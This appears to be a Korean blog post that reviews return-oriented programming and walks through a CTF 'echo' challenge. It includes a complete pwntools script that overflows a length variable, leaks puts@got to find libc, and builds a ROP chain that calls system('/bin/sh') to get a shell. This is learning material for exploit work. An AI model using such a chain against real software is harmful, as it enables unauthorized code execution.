Pwn
ROP 완벽 이해와 추가 예제 풀이
2025. 2. 26. 17:16

ROP 에 대한 복습

  • ret 에 gadget과 함수의 주소를 연속적으로 연결해 공격자가 원하는 실행흐름으로 공격

  • 일반적인 프로세스의 함수 흐름 : start -> libc_start_main -> main -> libc_start_main -> start

    • main에서 ret 이 수행되면, libc_start_main 으로 실행 흐름이 옮겨진다.

      • Ret Overwrite : main함수의 ret의 반환주소를 다른 주소로 덮어 실행흐름을 옮기는 것

      • ROP : gadget을 활용해 이전에 호출한 적이 없는 함수 호출

        • gadget : ret으로 끝나는 어셈블리어 코드 조각

        • 함수를 호출하기 전, 가젯을 이용하여 원하는 인자값을 전달한 후, 함수를 호출해준다.

          • ex) rdi 셋팅 : p64(pop_rdi_ret 가젯의 주소) + p64(rdi값)
          • ex) 이후, 마지막 ret을 read함수 주소로 덮어 원하는 프로그램 흐름을 만들 수 있다.
        • 이상적인 형태로 가젯이 존재하지 않은 경우?

          • 가젯이 있는데, 원하는 레지스터 뿐만 아니라 다른 레지스터도 호출하는 가젯이 있을 수 있음
            • => 걍 쓰면됨 (다른 레지스터 참조 안할거니까..)
          • 특정 레지스터를 호출하는 가젯이 없을 수 있음.\
            • => libc 라이브러리에서 참조하면됨.
            • 라이브러리 함수를 참조할 때, 라이브러리에 있는 모든 함수를 가져와 참조한다. ( 라이브러리 전체가 프로세스 메모리에 통째로 매핑됨 (system함수와.. /bin/sh 문자열까지..)
              • 라이브러리 안에서 데이터들간 거리는 보통 고정되어있다.
        • Exploit? 참고

          1. 출력 함수(puts)를 이용하여 특정함수(puts)의 got주소를 출력시켜 특정변수(puts_got)에 저장해둔다.
          2. puts_got - puts_offsetlibc_base를 구한다.
          3. libc_base + system_offsetsystem()의 실제 주소를 얻는다.
          • "/bin/sh" 문자열이 저장되어있는 주소를 찾거나, 쓰기권한이 있는 .bss 영역 등에 해당 문자열을 저장해 해당 /bin/sh 문자열을 쓸 수 있다.
          1. got overwrite : read()puts()의 got에 system()의 실제주소를 저장한다.
          2. puts_plt를 호출하면, 덮은 got를 참조하여 system()이 실행된다.
            • 그냥 바로 system()의 실제주소를 ret에 저장해도되긴함.
          3. 인자로 .bss영역의 /bin/sh 문자열 주소, 또는 libc에서의 /bin/sh의 주소를 넣어주면 system("/bin/sh") 호출됨.

ROP 예제

해당 문제는 시원포럼 절평 CTF에서의 echo 문제를 복습차원에서 사용하였습니다. (감사합니다)

문제 분석

Docker 파일을 통해 사용한 libc버전을 gpt에서 알려달라해서 가져오거나, Docker을 돌려서 libc를 가져오자.

실행 결과

  1. Input Name : 이후 이름 입력
  2. Input msg : 이후 메세지 입력
  3. 입력한 이름 출력
  4. 이름's msg : 메세지 출력

보호기법 확인

NX Enable => 우회를 위해 ROP 를 사용해야겠다.

IDA를 이용한 디컴파일 결과 코드

  1. buf[0x1c] 에 0x20 만큼 입력
  2. v4[0x10] 에 v6만큼 입력
  3. 입력받은 buf, v4 출력

Stack 구조

stack 을 간단하게 그려보았다.

가젯 확인

pop rdi; ret; 가젯이 있어 Exploit 이 수월할 것 같다.

Exploit

공격 시나리오는 다음과 같다.

1. v6을 바꿔 v4의 입력값을 무한하게 만든다.
2. ROP chaining : puts(puts_got) -> main
3. Get System func addr, /bin/sh addr
4. ROP chaining : system(/bin/sh) 
  • puts를 한 번 실행 했기때문에, puts@got 에는 libc에서의 puts의 실제 주소가 들어있다.
    • puts_got = elf.get['puts'] : got 테이블 자체의 주소
    • puts_got 를 puts에 넣어서 출력하면, puts_got에 들어있는 libc에서의 puts 함수 주소가 나온다.
    • u64(p.recvline()[:-1].ljust(8, b"\x00")) 이런식으로 8bytes align 이 필요하다.

v6 값 바꾸기

buf과 v6의 오프셋이 0x20-0x4 이므로, 해당 크기만큼 b'A'를 채워준 후, v6의 값을 크게 지정해준다.

  • int에 4byte 만큼 지정해야하므로, p32() 사용
payload = b'A'*(0x20-0x4) + p32(1000)
p.sendafter(b'Input Name : `, payload)

rop chaining : puts(puts_got) 호출 및 main 함수 호출

puts_plt 를 호출하여 puts_got 를 출력한 후, main 함수를 호출한다.

  • gdb 로 열어보면, 디버깅 심볼이 숨겨져있음을 알 수 있다. (elf.symbols['main'] 못 잡음)

    • ida나, gdb에서 start -> b *__libc_start_main -> 'c' -> b *$rdi 를 통해 main 함수의 주소를 알아보자.

# 2. ROP chaining : v4
payload_2 = b'A'*(0x30) + b'S'*0x8
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)  # rdi = puts@got 주소
payload_2 += p64(elf.sym.puts)  # puts(puts@got주소) 호출 : puts@got 내용 출력 # payload_2 += p64(puts_plt)로 plt자체를 호출해도됨
payload_2 += p64(main_addr) # main 호출

p.sendafter(b'Input msg : ',payload_2)

system 함수 주소와 /bin/sh 주소 구하기

in_puts_got = u64(p.recvline()[:-1].ljust(8, b"\x00"))   # 8bytes 만들기위해 오른쪽에 00넣어 align 해주기
libc_base = in_puts_got - libc.sym.puts  # puts_got - puts_offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

rop chaining : system(/bin/sh) 호출하기

  • movaps 문제를 방지하기위해 system 함수 호출 전 ret 시켜주기 (인자 셋팅 전, 후 상관없음)
    • movaps 문제는 system("/bin/sh") 실행 중에 발생하는데, 이 문제의 핵심 원인은 스택 정렬이 16바이트 단위가 아닐 때 발생
    • 이로 인해 SIGSEGV(segmentation fault) 또는 alignment error가 발생.

payload_3 = b'A'*(0x30) + b'S'*0x8
payload_3 += p64(ret)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(system_addr)

전체 코드

from pwn import *

p = process('./prob')
libc = ELF('./libc.so.6')
elf = ELF('./prob')

# 0. 바이너리에서 pop rdi; ret, ret 가젯 찾기
rop = ROP(elf)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]  # pop rdi; ret 가젯
ret = (rop.find_gadget(['ret']))[0] # ret 가젯
# ret = 0x000000000040101a
# pop_rdi = 0x000000000040119d

# 0. 바이너리 내에서 plt 및 got 찾기
puts_plt = elf.plt['puts']
main_addr = 0x4011a2
puts_got = elf.got['puts']

# 1. v6 overwrite : buf 입력 길이 지정하기
payload_1 = b'\x00'*(0x20-0x4) + p32(1000)
p.sendafter(b'Input Name : ',payload_1)

# 2. ROP chaining : v4
payload_2 = b'A'*(0x30) + b'S'*0x8
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)  # rdi = puts@got 주소
payload_2 += p64(puts_plt)  # puts(puts@got주소) 호출 : puts@got 내용 출력
payload_2 += p64(main_addr) # main 호출

# log.info("payload_2 : ", payload_2)

p.sendafter(b'Input msg : ',payload_2)

p.recvline()

# in_puts_got 는 libc내부의 puts() 주소를 의미한다.
# libc 내부의 함수들 간의 거리는 일정하다는 것을 이용해야한다.
in_puts_got = u64(p.recvline()[:-1].ljust(8, b"\x00"))   # 8bytes 만들기위해 오른쪽에 00넣어 align 해주기
libc_base = in_puts_got - libc.sym.puts  # puts_got - puts_offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 3. main 재호출 후 system(/bin/sh) 호출

## v6 overwrite
p.sendafter(b'Input Name : ',payload_1)

## system(/bin/sh) 호출
payload_3 = b'A'*(0x30) + b'S'*0x8
#payload_3 += p64(ret)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(ret)
payload_3 += p64(system_addr)

log.info(payload_3)

#gdb.attach(p)

p.sendafter(b'Input msg : ',payload_3)

#pause()
p.interactive()

'Pwn' 카테고리의 다른 글

[PWN Dreamhack] PIE & RELRO  (0) 2025.03.13
[PWN Dreamhack] basic_rop_x64 & basic_rop_x86  (0) 2025.03.10
[PWN Dreamhack] RTL, ROP  (0) 2025.02.22
[PWN Dreamhack] Stack Canary  (0) 2025.02.21
[PWN Dreamhack] BOF  (0) 2025.02.21
let textNodes = document.querySelectorAll("div.tt_article_useless_p_margin.contents_style > *:not(figure):not(pre)"); textNodes.forEach(function(a) { a.innerHTML = a.innerHTML.replace(/`(.*?)`/g, '$1'); });